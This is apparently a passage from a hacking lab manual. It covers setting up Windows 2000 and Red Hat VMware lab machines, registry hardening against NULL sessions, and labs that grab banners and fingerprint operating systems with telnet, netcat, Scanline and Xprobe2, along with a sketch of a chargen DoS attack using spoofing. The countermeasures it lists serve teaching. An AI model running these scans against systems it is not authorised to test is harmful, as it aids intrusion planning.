Disk capacity This virtual disk can never be larger than the maximum capacity that you set here. Disk size (GB): Allocate all disk space now. By allocating the full capacity of the virtual disk, you enhance performance of your virtual machine. However, the disk will take longer to create and there must be enough space on the host's physical disk. If you do not allocate disk space now, your virtual disk files will start small, then become larger as you add applications, files, and data to your virtual machine. Split disk into 2 GB files	
< <u>B</u> ack Finish Cancel	

8. The VMware Workstation application now has a tab called **Windows 2000 Professional**.

le Edit View VM Team Windows Help UU ▶ Ø Ø Ø @ ① ② ◎ ○ □ ♥ □ Home ∯ Windows 2000 Professional	, ,
Home of Windows 2000 Professional	,
Home 🔐 Windows 2000 Professional	ډ ا
WINDOWS 2000 Professional State: Powered off Guest 05: Windows 2000 Professional Configuration file: Cilpocuments and Settings/inspivey/My Documents/My Wirtual N Version: Current virtual machine for VMware Workstation 5.0.0	achines\Windows 2000 Professional\win2000pro.vmx
Commands Devices	
 Statt this virtual machine settings Clone this virtual machine settings Clone this virtual machine Co-ROM (DE 1:0) CD-ROM (D	256 MB Auto detect Bridged Present Default adopter

- 9. Click Edit virtual machine settings.
 - Start this virtual machine
 - Edit virtual machine settings
 - 🕲 Clone this virtual machine

This is the area where you can make any adjustments you need, such as increasing the amount of physical RAM on the host computer you want dedicated to the virtual machine, changing the hard disk size, or adding other hardware items. Once a virtual computer is running it must be shut down to change most of these settings, with the exceptions of disconnecting the CD-ROM or floppy drive during operation.

10. Once you have made any adjustments, click OK.

Device	Summary	Memory	
Memory	256 MB	Specify the amount of memory allocated to this virtual	
Hard Disk (SCSI 0:0)	Auto detect Bridged Present Default adapter	Memory for this virtual machine: 256 mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm	

11. Insert the Microsoft Windows 2000 Workstation CD into the CD-ROM drive. Click **Start this virtual machine** or click the **Play** button on the toolbar.



12. The virtual computer boot screen appears.



13. The virtual computer will boot from the CD.



14. At the **Welcome to Setup** screen press the **Enter** key.



Remember that as far as your host computer is concerned your virtual computer is completely separate from the host machine. The next screen you will see is a warning that you have a new or erased hard drive you are trying to install Windows on and it is a new virtual hard drive.

15. Accept the notice and press the **C** (Continue Setup) key.



16. After reading the License Agreement and accepting its terms, press the **F8 (I agree)** key.



17. Accept the default partition sizes for the hard drive. Press Enter.



18. Accept the default of formatting the hard drive with the NTFS file system. Press **Enter**.



19. You will see the progress of the formatting process.



20. The Windows files will now install on the virtual hard drive.



21. Once completed, the virtual computer will automatically reboot itself.





22. The new Windows 2000 virtual computer will now boot up.

23. The installation process will continue. You can click **Next** or just wait and it will automatically continue on its own.



24. Accept the default *US keyboard* layout or change to your preference. Click **Next**.



25. Enter your Name and Organization (if any). Click Next.

👰 Windows 2	2000 Professio	onal - VMware Works	tation	_O×
File Edit	View VM Te	am Windows Help		
	90			
🛆 Home 🚦	🖥 Windows 20	00 Professional		×
	Windows 2000) Professional Setup		
	Personaliz Setup u 2000 so	e Your Software ises the information you oftware.	provide about yourself to personalize your Windows	Ð
	Æ	Type your full name a	nd the name of your company or organization.	
		Na <u>m</u> e:	Virtually Hacking	
		Organization:	Hacking the Virtual Computer	
			< <u>B</u> ack Next>	
\Lambda You do not l	have VMware To	ols installed.		

- 👰 Windows 2000 Professional VMware Workstation - 🗆 × File Edit View VM Team Windows Help 🔒 Home 🛛 🖶 Windows 2000 Professional × Windows 2000 Professional Setup Your Product Key Your Product Key uniquely identifies your copy of Windows 2000. H The 25-character Product Key appears on the lower section of your Certificate of Authenticity. Type the Product Key below: Certificate of Authenticity Product Key: XXXX · XXXXX · XXXXX · XXXXX · XXXXX < <u>B</u>ack <u>N</u>ext>
- 26. Enter the serial number for your copy of Microsoft Windows. Click Next.

27. Assign a *Computer name* to your virtual computer and type an *Administrator password*. Click **Next**.

\Lambda You do not have VMware Tools installed.

👰 Windows 2000 Professional - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
A Home Windows 2000 Professional	×
Windows 2000 Professional Setup	
Computer Name and Administrator Password You must provide a name and an Administrator password for your computer.	Æ
Setup has suggested a name for your computer. If your computer is on a	
network, your network administrator can tell you what name to use.	
Computer name: WIN-2000-V-1	
Setup creates a user account called Administrator. You use this account we you need full access to your computer.	nen
Type an Administrator password.	
Administrator password:	
Confirm password:	
< Back Next>	
A You do not have VMware Tools installed.	
28. Set your *Date & Time, Time Zone*, and whether you use *daylight savings* time. Click **Next**.

📑 Windows 2000 Professional - ¥Mv	ware Workstation	
File Edit View VM Team Win	ndows Help	
🛆 Home 🛛 🔂 Windows 2000 Profes	ssional	×
Windows 2000 Professi	ional Setup	× ////////////////////////////////////
Date and Time Sett Set the correct dat	tings ite and time for your Windows computer.	
D. A.T.		
Fi Little Fi	iday , October 28, 2005 💌 11:48:09 AM 🚊	
_ <u></u> ime Zone		
	T-06:00) Central Time (US & Canada)	
🔽 Au	utomatically adjust clock for daylight saving changes	
	< <u>B</u> ack <u>Next></u>	
\Lambda You do not have VMware Tools installed	ed.	

29. The networking components will now install.

Windows 2000 Professional - VMware Workstation	_02
ile Edit View VM Team Windows Help	
Home Windows 2000 Professional	×
Windows 2000 Professional Setup	
Networking Settings Installing network software allows you to connect to other computers, networks, and the Internet.	M
Please wait while Windows installs networking components.	
	—
Z Rock Marit S	
- Derx MEX	
Vou do not have VMuare Tools installed	

30. Unless you are familiar with configuring network cards, accept the default of *Typical settings* and click **Next**.



31. Accept the default answer of No for domain membership and click Next.



32. Windows components will continue to install.



33. The Final Tasks of the installation will occur.



34. Windows 2000 is now installed. Remove the CD and click Finish.



35. Upon reboot you will need to complete the **Network Identification Wizard**. Click **Next**.

💽 Windows 2000 Professional - VMware Workstation	
File Edit View VM Team Windows Help	
Home Windows 2000 Professional	×
Network Identification Wizard	
Users of This Computer Who can log on to this computer?	7
You can require all users to enter a user name and password to log on, or you can have Windows assume the same user will always log on to this computer.	
Which option do you prefer?	
Users must enter a user name and password to use this computer.	
C Windows always assumes the following user has logged on to this computer:	
User name: Virtually Hacking	
Password:	
Confirm password:	
,	
<back next=""> Cance</back>	1
\Lambda You do not have VMware Tools installed.	

36. The next screen requires you to make a decision as to whether you want the same user automatically logging into Windows all the time or if you require each user to enter a username and password to log in. As I am security conscious, I always choose the latter. Congratulations, you have successfully installed a virtual Windows 2000 Workstation! Click **Finish**.



37. You are now presented with the Windows login screen. Type in your password from Step 27 and click **OK**.

File Edit View VM Team Windows Help Edit View VM Team Windows Help Home Windows 2000 Professional
Home 🔀 Windows 2000 Professional
A Home 🔐 Windows 2000 Professional
Log Do to Windows
Microsoft Microsoft
Windows 2000
Professional
User name: Administrator
Password: *****
OK Cancel Options >>

38. The first time Windows 2000 loads you are presented with a "Getting Started with Windows" presentation. If you are unfamiliar with Windows 2000 you may wish to view the presentation. Otherwise, just **uncheck** *Show this screen at startup* and then click **Exit**.



Installing VMware Tools for Windows 2000 Virtual Machines

Even though your virtual Windows 2000 Workstation is running, it is best to install the VMware Tools on each virtual machine you install. VMware Tools allows for better screen resolution, mouse control, drag-and-drop operations, improved network performance, shared folders support, and copying and pasting between the host and virtual machine.

- *Note: Initially once you are logged into your virtual machine you will find that your mouse is locked into the virtual machine and you cannot get out to the host computer. To switch back to the host computer hold down the **Ctrl** key and press the **Alt** key. Then by clicking back into the virtual machine screen; the mouse again becomes active in the virtual machine.
- ***Note:** You do not use a physical CD when installing VMware Tools. The VMware software contains an ISO image that the guest machine interprets as a physical CD.

To install VMware Tools, follow these steps:

1. Return to the host machine by holding down the **Ctrl** key and press the **Alt** key. Then from the VMware Workstation menu click **VM** and then select **Install VMware Tools**.



2. The VMware Tools installation screen appears. Click Install.



3. The VMware Tools installation begins.



4. The VMware Tools Wizard starts. Click Next.



5. Accept the *Typical* VMware Tools Setup Type. Click Next.



6. VMware Tools is now ready to install. Click Install.



7. VMware Tools now installs on the virtual machine. The screen may flicker.



8. The VMware Tools will finish installation. Click Finish.



9. In order for VMware Tools to complete its configuration, you will need to restart the virtual machine. Click **Yes**.



- 10. Congratulations! You have completed the installation of Windows 2000 Workstation and VMware Tools!
- *Note: The biggest change you will immediately notice after installing VMware Tools is the colors will appear clearer. You may also notice that the virtual machine window actually becomes larger. Of course, this new virtual machine is not secure as it has no Windows updates installed on it.

🗐 Windows 2000 Professional - ¥Mware Workstation	- 🗆 ×
File Edit View VM Team Windows Help	
Home B Windows 2000 Professional	×
Log On to Windows	
Microsoft Microsoft Microsoft	
Built on NT Technology	
Paceword	
OK Cancel Options >>	

Installing a Red Hat Version 8 Virtual Machine

Follow these steps:

1. From the VMware Workstation starting screen click New Virtual Machine.



2. This will start the New Virtual Machine Wizard. Click Next.



3. Accept the *Typical* configuration for the virtual machine. Click **Next**.

Virtual mach	nine configuratio	n				
 Typical Create a options. 2.x. GS 	a new virtual ma This virtual mac K Server 3.x, AC	chine with t chine will no Œ 1.x or Wi	the most com t be compati orkstation 4.;	mon devices a ible with VMwa «	nd configuratio re ESX Server	n
C <u>C</u> ustom Choose devices machine	this option if you or specific conf a.	u need to ci iguration op	reate a virtua btions, or if yo	al machine with ou need to crea	additional ite a legacy virt	ual

4. Select *Linux* as the operating system and then select *Red Hat Linux* from the list of available operating systems. Click **Next**.

Which operating system	will be in	istalled on I	his virtua	al machine	?	
Guest operating system:						
C Microsoft <u>W</u> indows						
C Nov <u>e</u> ll NetWare						
C Other						
Version:						
Red Hat Linux					-	

5. Accept the default Virtual machine name and Location. Click Next.

New Virtual Machine Wizard				×
Name the Virtual Machine What name would you like to	use for this virt	ual machine?		
Virtual machine name Red Hat Linux				
Location C:\Documents and Settings\mspiv	rey\My Docume	ents\My Virtual	B <u>r</u> owse	
	< <u>B</u> ack	<u>N</u> ext >	Cancel	

- 6. Accept the default network type of Use bridged networking. Click Next.
- *Note: This is one of the options that makes VMware Workstation interesting in that you control if your virtual computer gets its own IP address on the network (*bridged*), must share the host IP address (*NAT*), will establish a network between the host and virtual computer only (*host-only*), or not have a network connection at all. A maximum of three virtual network cards can be installed on each virtual computer with independent settings for each.

lew Vi	irtual Machine Wizard	×
Ne	etwork Type What type of network do you want to add?	
⊢Nel	twork connection	_
•	Use bridged networking	
	Give the guest operating system direct access to an external Ethernet network. The guest must have its own IP address on the external network.	
0	Lise network address translation (NAT)	
	Give the guest operating system access to the host computer's dial-up or external Ethernet network connection using the host's IP address.	
0	Use host-only networking	
	Connect the guest operating system to a private virtual network on the host computer.	
0	Do not use a network connection	
	< <u>B</u> ack <u>N</u> ext > Cancel	
0	Use host-only networking Connect the guest operating system to a private virtual network on the host computer. Do not use a network connection < <u>Back</u> Next > Cancel	

7. Accept the default virtual *Disk size* (capacity) of 4.0 (GB). Click **Finish**.

New Virtual Machine Wizard	×
Specify Disk Capacity How large do you want this disk to be?	
Disk capacity This virtual disk can never be larger than the maximum capacity that you set here. Disk gize (GB): Allocate all disk space now. By allocating the full capacity of the virtual disk, you enhance performance of your virtual machine. However, the disk will take longer to create and there must be enough space on the host's physical disk. If you do not allocate disk space now, your virtual disk files will start small, then become larger as you add applications, files, and data to your virtual machine. Split disk into 2 GB files	
< <u>B</u> ack Finish Cancel	

- 8. The VMware Workstation application now has a tab called **Red Hat Linux**.
- 9. Click Edit virtual machine settings.
 - Start this virtual machine
 - Edit virtual machine settings
 - 🕲 Clone this virtual machine



10. This is the area where you can make any adjustments you need, such as increasing the amount of physical RAM on the host computer you want dedicated to the virtual machine, changing the hard disk size, or adding other hardware items. Once a virtual computer is running it must be shut down to change most of these settings. An exception is disconnecting the CD-ROM or the floppy drive during operation. Once you have made any adjustments, click **OK**.

Device	Summary	Memory
Memory	256 MB	Specify the amount of memory allocated to this virtual machine. The memory size must be a multiple of 4 MB
CD-ROW (DE 10) Cherow (DE 10)	Auto detect Bridged Present Default adapter	Memory for this vitual machine: 256 mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
	Add]

11. Depending on the media you are using you will either insert the Red Hat Linux version 8 CD 1 or the DVD into the CD-ROM or DVD drive. Click **Start this virtual machine** or click the **Play** button on the toolbar.



12. From the initial boot screen, type **linux text** and press the **Enter** key.



13. The Red Hat Linux installation process begins. Press the Enter key.



14. Select the Language of your choice. Press the Enter key.



15. Select the *Keyboard* of your choice. Press the Enter key.



16. Select the mouse you are currently using on the host computer. Press the **Tab** key until **Emulate 3 Buttons?** is highlighted. Press the **Spacebar** to select, then press the **Tab** key until **OK** is highlighted. Press the **Enter** key.



17. Select *Workstation* as the installation type. Press the **Tab** key until **OK** is highlighted. Press the **Enter** key.



18. Accept the default of Autopartition. Press the Enter key on Autopartition.



19. You may receive a warning that reads "device sda being unreadable." Remember as far as the host computer is concerned the virtual machine is completely separate from the host machine. Therefore, you are working with a completely "new" virtual hard drive. Press the **Enter** key to continue.



20. Accept the default to have Linux perform *Automatic Partitioning* to the new virtual hard drive. Press the **Tab** key until **OK** is highlighted. Press the **Enter** key.



21. Press the **Tab** key to highlight the **Yes** button. Press the **Enter** key to remove all Linux partitions.



22. Accept the default *Use GRUB Boot Loader*. Press the **Tab** key to highlight the **OK** button. Press the **Enter** key.



23. On the Boot Loader special options screen, press the **Tab** key to highlight the **OK** button. Press the **Enter** key.



- 24. Leave the Boot Loader Password blank for this installation. Press the **Tab** key to highlight the **OK** key. Press the **Enter** key.
- *Note: If you decide to use a *Boot Loader Password*, remember that all of Linux is *case sensitive*.



25. On the default Boot Partition screen, press the **Tab** key to highlight the **OK** button. Press the **Enter** key.



26. On the Boot Loader install location screen, press the **Tab** key to highlight the **OK** button. Press the **Enter** key.



27. On the **Network Configuration for eth0** screen you will need to decide whether to assign a static IP address or obtain an IP from a DHCP source. In this example, I left the default of *dhcp*. Press the **Tab** key to highlight the **OK** button. Press the **Enter** key.



28. On the **Firewall Configuration** screen, press the **Tab** key to highlight *No Firewall*. Press the **Tab** key to highlight the **OK** button. Press the **Enter** key on **OK**.



29. On the **Language Support** screen, press the **Tab** key to select any additional languages you need support for. Press the **Enter** key to highlight the additional languages. Press the **Tab** key to highlight the **OK** button. Press the **Enter** key.



30. On the **Time Zone Selection** screen, press the **Tab** key and by using the **ARROW** or **PAGE UP/PAGE DOWN** keys locate the appropriate Time Zone for your installation. Once the correct Time Zone has been located press the **Tab** key to highlight the **OK** key. Press the **Enter** key.



31. On the **Root Password** screen, enter a root *Password* (minimum of 6 characters), press the **Tab** key and reenter the same password. Press the **Tab** key to highlight the **OK** button. Press the **Enter** key.

*Note: Remember that all of Linux is *case sensitive*.



- 32. On the **Add User** screen, press the **Tab** key to highlight the **OK** button. Press the **Enter** button.
- *Note: Users can be added here but it is a personal preference to add them after the installation is complete. Remember that all of Linux is *case sensitive*.



33. On the **Workstation Defaults** screen, press the **Tab** key until the **OK** button is highlighted. Press the **Enter** key.



34. On the **Installation to begin** screen, press the **Tab** key to highlight the **OK** button. Press the **Enter** key.



35. The installation will now begin.



36. The file installation will take a few minutes.

👰 Red Hat Linu	ux - VMware Workstation	_ 🗆 🗙
File Edit Vier	w VM Team Windows Help	
🏠 Home 📑	Windows 2000 Professional Bred Hat Linux	×
Red Hat Li	nux (C) 2002 Red Hat, Inc.	
l l	Package Installation	
	Name : e2fsprogs-1.27-9	
	Size : 3408k	
	Summary: Utilities for managing the second extended (ext2) filesustem.	
	100%	
	Packages Bytes Time	
	Total : 652 1888M 0:03:15	
	Remaining: 639 1693M 0:02:55	
	400	
	10%	
4		
<tab>/<a< th=""><th> t-Tab> between elements <space> selects <f12> next scr</f12></space></th><th>een</th></a<></tab>	 t-Tab> between elements <space> selects <f12> next scr</f12></space>	een
\Lambda You do not hav	re VMware Tools installed.	

37. At the create **Boot Disk** screen, press the **Tab** key to highlight the **No** button. Press the **Enter** key.



38. At the **Video Card Configuration** screen, press the **Tab** key to highlight the *Skip X Configuration* button. Press the **Enter** key.



- 39. At this point Red Hat Linux informs you that you have completed the installation. However, we will manually configure X. Press the **Enter** key on **OK**.
- *Note: The term X Windows refers to a graphical interface for Linux. If you prefer to work in command-line-only mode you can skip the X Windows configuration. Because of the way VMware Workstation operates the VMware Tools must be installed *prior* to configuring X Windows for Linux.



40. The new virtual machine will reboot.



41. Red Hat Linux version 8 will now boot up. Press the **Enter** key or wait 10 seconds for automatic booting.



42. Log in as user **root** with the password you set back in Step 31.*Note: Remember that all of Linux is *case sensitive*.



Installing VMware Tools for Red Hat Virtual Machines

VMware Tools allows for better screen resolution, mouse control, drag-anddrop operations, improved network performance, shared folders support, and copying and pasting between the host and virtual machine.

- *Note: Initially once you are logged into your virtual machine you will find that you are locked into the virtual machine and you cannot get out to the host computer. To switch back to the host computer hold down the **Ctrl** key and press the **Alt** key. Then by clicking back into the virtual machine screen the virtual machine becomes active again.
- *Note: You do not use a physical CD when installing VMware Tools. The VMware Workstation software contains an ISO image that the guest machine interprets as a physical CD.

To install VMware Tools, follow these steps:

1. Return to the host machine by holding down the **Ctrl** key and press the **Alt** key. Then from the VMware Workstation menu click **VM** then **Install VMware Tools**



2. The VMware Tools installation screen appears. Click **Install VMware Tools**.



3. Click your mouse back inside the virtual machine to make your keystrokes active within Red Hat Linux and type the following commands:

*Note: Remember that all of Linux is *case sensitive*.

mount/dev/cdrom/mnt/cdrom

cd/tmp

rpm-Uhv/mnt/cdrom/VMwareTools-5.0.0-13124.i386.rpm

umount/dev/cdrom



- *Note: For the above line "rpm-Uhv/mnt/cdrom/VMwareTools-5.0.0xxxxx.i386.rpm" the "xxxxx" indicates the current version of VMware Tools you are using. In this case it is 13124.
 - 4. The next command will initiate the actual installation of VMware tools: ./VMware-config-tools.pl.

5. Accept any default answers to any questions by pressing the **Enter** key.



- 6. The installation of VMware Tools is now complete.
- 7. Type in the following command to Start X:

startx



8. Welcome to the Red Hat Linux Graphical User Interface (GUI — pronounced *gooey*).



9. If for any reason Red Hat **startx** does not start X Windows, type the following command.

*Note: Remember that all of Linux is *case sensitive*.

redhat-config-xfree86

or

```
redhat-config-display
```

If you are still having difficulties you will need to consult either the owner's manual or Red Hat support, or search on the Internet by typing in the exact error message you are receiving between quotes.

Congratulations! You have successfully installed Red Hat Linux version 9 and VMware Tools!

*Note: The biggest change you will immediately notice after installing VMware Tools is the colors will appear clearer. You may also notice that the virtual machine window actually becomes larger. Of course this new virtual machine is not secure as it has no updates installed on it.
What Is on the CD?

The first item I wanted to include was a current version of the VMware Workstation 30-day demonstration software. At the time of this writing I am still waiting on VMware for written approval to include this on the CD. If the software is not on the CD then I did not receive it in time; however, you can still download the software from **http://www.vmware.com/download/ws**.

Otherwise, all the tools freely available from the Internet that are demonstrated in this book are included on the CD. It will be the reader's responsibility to provide the operating systems for the virtual machines they wish to install.

The few applications that require purchase are noted on each lab and the appropriate Internet address is provided for the reader to download.

Restrict Anonymous

Several of the labs in this manual refer to information being retrieved from a target because a **NULL** session has been able to be established to the target. Countermeasures include restricting anonymous. **This applies to Windows NT**, **2000**, **XP**, **and 2003 computers only**.

Prerequisites:

- Port 139 or 445
- Restrict Anonymous = 0
- Enable File and print sharing

To Restrict Anonymous

In Windows NT

- Run the Registry editor (Regedt32.exe)
- Go to the following key in the registry:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\LSA

- On the edit menu, click Add value and use the following entry:
 - Value Name: RestrictAnonymous
 - Data Type: REG_DWORD
 - Value: 1

For Windows XP, 2003

- Run the Registry editor (Regedt32.exe or Regedit.exe)
- Go to the following key in the registry:
 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\LSA

- On the edit menu, click Add value and use the following entries:
 - Value Name: RestrictAnonymous
 - Data Type: REG_DWORD
 - Value: 1
- On the edit menu, click Add value and use the following entries:
 - Value Name: RestrictAnonymousSam
 - Data Type: REG_DWORD
 - Value: 1
- On the edit menu, click Add value and use the following entries:
 - Value Name: EveryoneIncludesAnonymous
 - Data Type: REG_DWORD
 - Value: 0

For Windows 2000

- Run the Registry editor (Regedt32.exe or Regedit.exe)
- Go to the following key in the registry:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\LSA

- On the edit menu, click Add value and use the following entries:
 - Value Name: RestrictAnonymous
 - Data Type: REG_DWORD
 - Value: 2

What Is the Difference?

Windows NT, XP, 2000, and 2003 all allow a NULL session to be established by default. The reason behind this is because in a trusted network environment each operating system will be able to identify each other's shared resources and any peripherals that may be attached. This is done by using the Inter Process Communication share (IPC\$) and some network configurations require this ability, as in a heterogeneous network.

The default setting of RestrictAnonymous for Windows NT and 2000 is a value of 0. When NT and Windows 2000 RestrictAnonymous is set to a value of 1, a NULL session can still be made, but much of the user enumeration data is restricted. Setting the RestrictAnonymous value to 2 prevents a NULL session from occurring.

For maximum security a value of 2 should be used on Windows 2000 and a value of 1 for Windows NT; however, some connection problems may occur in a heterogeneous network if a Windows 2000 domain must share its resources with non-2000 clients. In this case these clients will be unable to connect to the domain and will effectively be denied access to its resources. For Windows XP and 2003 the default RestrictAnonymous setting is 0. In addition Windows XP and 2003 have the settings of RestrictAnonymousSam, with a default value of 1, and EveryoneIncludesAnonymous, with a default value of 0.

The only valid option for Windows XP and 2003 for RestrictAnonymous is either 0 or 1. Setting the RestrictAnonymous value to 0 will allow NULL sessions to enumerate shares. Setting the RestrictAnonymous value to 1 will limit access to the shared information.

Setting the RestrictAnonymousSam value to 0 will allow the enumeration of user accounts. Changing the RestrictAnonymousSam value to 1 will prevent the enumeration of local SAM accounts.

Setting the EveryoneIncludesAnonymous to a value of 0 will ensure NULL sessions have no special rights. Setting the EveryoneIncludesAnonymous to a value of 1 will give NULL sessions access to the Everyone group, including any right set to that group.

For maximum security of Windows XP and 2003 the following settings should be used:

- RestrictAnonymous = 1
- RestrictAnonymousSam = 1
- EveryoneIncludesAnonymous = 0

These settings will allow a NULL session to occur and provide access to shared resources to a trusted user but deny enumeration of other user information.

Now on to the labs!



Chapter 2

Banner Identification

Lab 1: Banner Identification

Banner Grabbing: TELNET

Prerequisites: None

- **Countermeasures:** Uninstall/disable unnecessary services, SSH, VPN, IPSEC, banner alteration.
- **Description:** The Telnet application normally uses port 23 but can be used to obtain specific banner information from other running services by connecting to other ports on the target. An attacker uses this information to launch appropriate attacks for the results obtained. Remember that all Linux commands are *case sensitive*.
- **Procedure:** From a DOS prompt or Linux shell, type the following with the syntax of:

```
telnet (IP Address or Name)(Port #)
```



In this example, the Telnet application is attempting to connect to port 80, the standard HTTP (Web) port. The results show that IIS 5.0 is being used by the target.



"Banner grabbing" via Telnet works in Linux as well. In this example Telnet is connecting to port 21.



The results show that Serv-U FTP Server, version 5.0 is being used at the target.



Lab 2: Banner Identification

Banner Grabbing: NETCAT

Prerequisites: None

- **Countermeasures:** Uninstall/disable unnecessary services, SSH, VPN, IPSEC, banner alteration.
- **Description:** The netcat application has many uses and can be used to obtain specific banner information from services by connecting to specific ports on the target. An attacker uses this information to launch appropriate attacks for the results obtained. The netcat application is used throughout this book. Remember that all commands in Linux are *case sensitive*.
- **Procedure:** From a DOS prompt or Linux terminal, type the following with the syntax of:

```
nc <options> (IP Address) (Port #)
```

To use netcat on Microsoft Windows:

From the directory containing the netcat application type the following:

nc -v -n (Target IP Address) (Port #)

In this example the netcat application is attempting to grab the banner information from the target on port 80, the standard HTTP (Web) port. Type:

nc -v -n 24.227.197.22 80



Initially it may appear that netcat is not working or is stuck as it just sits there.



Press the Enter key twice.



In this example, the result is that the Target is using Microsoft IIS 5.0.

To use Linux on Red Hat Linux:

- From the directory in which the compressed netcat file is located, type tar -zxvf netcat-0.7.1.tar.gz and press the Enter key.
- The files will uncompress into a new directory named **netcat-0.7.1**.
- Change to the new directory by typing **cd netcat-0.7.1** and pressing **Enter**.
- The netcat utility must be configured for the specific computer it is on. This is done by typing:



The netcat application will now compile.

Red Hat Linux - YMware Workstation		-1912
File Edit View VM Team Windows Help		
🚓 Hone 🚡 Windows 2000 Professional 🔗 Red Hat Linux 👔 Red Hit Linux 0 Server 👔 Windows	2000 Server	×
▼ root@localhost:-/tools/netcat/netcat-0.7.1	_ = ×	
File Edit View Terminal Go Help	1	
checking for srandon ves		
checking for random yes		
checking for inet_pton yes		
checking for inct_ntop yes		
checking for struct sockaddr.sa_len no		
checking for struct in_pktinfo yes		
checking for in_port_t yes		
checking for getopt_long yes		
configure: creating ./config.status		
config.status: creating Makefile		
config.status: creating m4/Makefile		
config.status: creating lib/Makefile		
config.status: creating lib/contrib/Makefile		
config.status: creating src/Makefile		
config.status: creating doc/Makefile		N
config.status: creating doc/drafts/Makefile		NG .
config.status: creating po/Makefile.in		
config.status: creating doc/texi2pod.pl		
config.status: creating config.h		
config.status: executing depfiles commands		
config.status: executing default-1 commands		
config.status: creating po/POTFILES		
config.status: creating po/Makefile		
[root@localhost netcat=0.7.1]#	×	
	0	Thu Nov 03
		6:11 PM
		20940

./configure

The next step is to type the **make** command.



The make command executes.



The last step is to install the netcat application by typing make install.



The netcat application will install.



In this example, the netcat application is run against a target running an FTP server by typing:

nc -v -n 24.227.197.22 21



From this example the result is:

■ The target at 24.227.197.22 is running Serv-U FTP Server version 5.0.

Lab 3: Banner Identification

Banner Grabbing: SCANLINE

Prerequisites: None

- **Countermeasures:** Uninstall/disable unnecessary services, SSH, VPN, IPSEC, banner alteration.
- **Description:** The Scanline application has many uses and can be used to obtain specific banner information from other running services by connecting to other ports on the target. An attacker uses this information to launch appropriate attacks for the results obtained.
- **Procedure:** Download or install from the accompanying CD and execute against the target with the syntax of:

```
sl <options> (IP ADDRESS)
```

In this example, from a DOS prompt, type the following target:

sl -v -b 192.168.0.8



Scanline identifies open ports on the target and retrieves the banner information.

In this example, the target:

- Has ports 13, 19, 21, 25, 80, and 6666 open.
- Is using Microsoft FTP Service, version 5.0.
- Is using Microsoft ESMTP MAIL Service, version 5.0.2172.1
- Is using Microsoft IIS, version 5.0.

🚥 Command Prompt 💶	×
C:\Tools\Windows\scan line>sl -v -b 192.168.0.8 ScanLine (TH) 1.01 Copyright (c) Foundstone, Inc. 2002 http://www.foundstone.com	
Adding IP 192.168.0.8 Banner grabbing enabled.	
No TCP ports provided - using default port list file: "TCPports.txt" No TCP ports list file found - using internal TCP list No UDP port list file found - using internal USP list Scan of 1 IP started at Sat Oct 09 22:11:51 2004 Finging 1 IP (ICMP Echo Request) Scanning 1 IP	
192.168.0.8 Responded in 10 ms. 0 hops away Responds with ICMP unreachable: Yes TCP ports: 7 9 13 19 21 25 80 135 139 443 445 1025 1026 1028 1755 3372 3389 6666	
UDP ports: 7 9 135 137 138 161 445 500 1027 3456	
TCP 13: [10:11:49 PM 10/9/2004]	
TCP 19: I!"#\$%&'<>*+/B123456789:;<=>?@ABCDEFGHIJKLMNOFQRSTUVWXYZI\1^_`abcdefg !"#\$%&' <>*+4B123456789:;<=>?@ABCDEFGHIJKLMNOFQRSTUVWXYZI\1^_`abcdefgh "#\$%&'<>*+]	
TCP 21: [220 win2000s-v Microsoft FTP Service (Version 5.0).]	
TCP 25: [228 win2000s-v Microsoft ESMTP MAIL Service, Version: 5.0.2172.1 ready at Sat, 9 Oct 2004 22:11:49 -0500]	
TCP 80: [HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Sun, 10 Oct 2004 03:11:49 GMT O onnection: Keep-Alive Content-Length: 1270 Content-Type: text/html Set-Cookie:]	
TCP 6666: [4 V4 4 6 , C]	
Scan finished at Sat Oct 09 22:12:00 2004	
1 IP and 267 ports scanned in 0 hours 0 mins 9.59 secs	
C:\Tools\Windows\scan line>_	-

- Port 13 is used for the Daytime protocol.
- Port 19 is used for the character generator service (chargen).
- Port 6666 is normally used for Internet Relay Chat (IRC).
- Ports 13 and 19 can be used by an attacker to perform a Denial-of-Service (DoS) attack on the target as these ports are required to respond to requests without any authentication.
- *Note: Sending 1,000 simultaneous requests to port 19, the chargen service will respond with 1,000 endless loops of random character generation. What is worse is if two targets are compromised in this fashion; both targets can effectively create a DoS attack against each other with the attacker placing the IP address of each target (spoofing) as the source of the requesting computer.

Lab 4: Operating System Identification

Detect Operating System of Target: Xprobe2

Prerequisites: None

- **Countermeasures:** IDS to detect UDP to port 32132, deny ICMP requests/reply.
- **Description:** The Xprobe2 application is used to identify the possible operating system (OS) of the target. An attacker uses this information to launch appropriate attacks for the results obtained. Remember that all commands in Linux are *case sensitive*.
- **Procedure:** Uncompress, compile, create the Xprobe2 executable and execute against the target with the syntax of:

Xprobe2 options Target IP ADDRESS

From the Linux directory containing the type Xprobe compressed file, type **tar –zxvf xprobe2-0.3.tar.gz**.

The Xprobe files will uncompress and install into a new directory named **xprobe2-0.3**.

Change to the new directory by typing **cd xprobe2-0.3** and pressing **Enter**.

The Xprobe application needs to be configured for the machine it is currently running on by typing i **./configure**.

The files will configure for the machine they are currently on. Be patient as this may take a few minutes depending on the computer.

The next step is to type **make** and press **Enter**.



The make command will execute.



The last step prior to execution is to install the Xprobe application by typing: make install



The Xprobe application will now install.



In this example to execute Xprobe against a target, type: xprobe2 172.16.1.40



The results of the Xprobe application will be listed.

🔊 Red Hat Linux - VMware Workstation	
File Edit View VM Team Windows Help	
A Home 🚡 Windows 2000 Professional 🔐 Red Hat Linux 🚛 Red Hat Linux 8 Server 👔 Windows 2000 Server	×
root@localhost:-/tools/Xprobe2/xprobe2-0.3	
File Edit View Terminal Go Help	
[+] Primary guess:	
[+] Host 172.16.1.40 Running OS: "Microsoft Windows XP" (Guess probability: 100%	
[+] Other guesses:	
[+] Host 172.16.1.40 Running OS: "Microsoft Windows 2000 Server Service Pack 4"	
(Guess probability: 100%)	
[+] HOST 172.16.1.40 KUNNING US: "MICROSOFT WINDOWS 2000 Server Service Pack 3"	
(suess probability: 100%)	
(Guess probability: 100%)	
[+] Host 172.16.1.40 Running OS: "Microsoft Windows 2000 Server Service Pack 1"	
(Guess probability: 100%)	
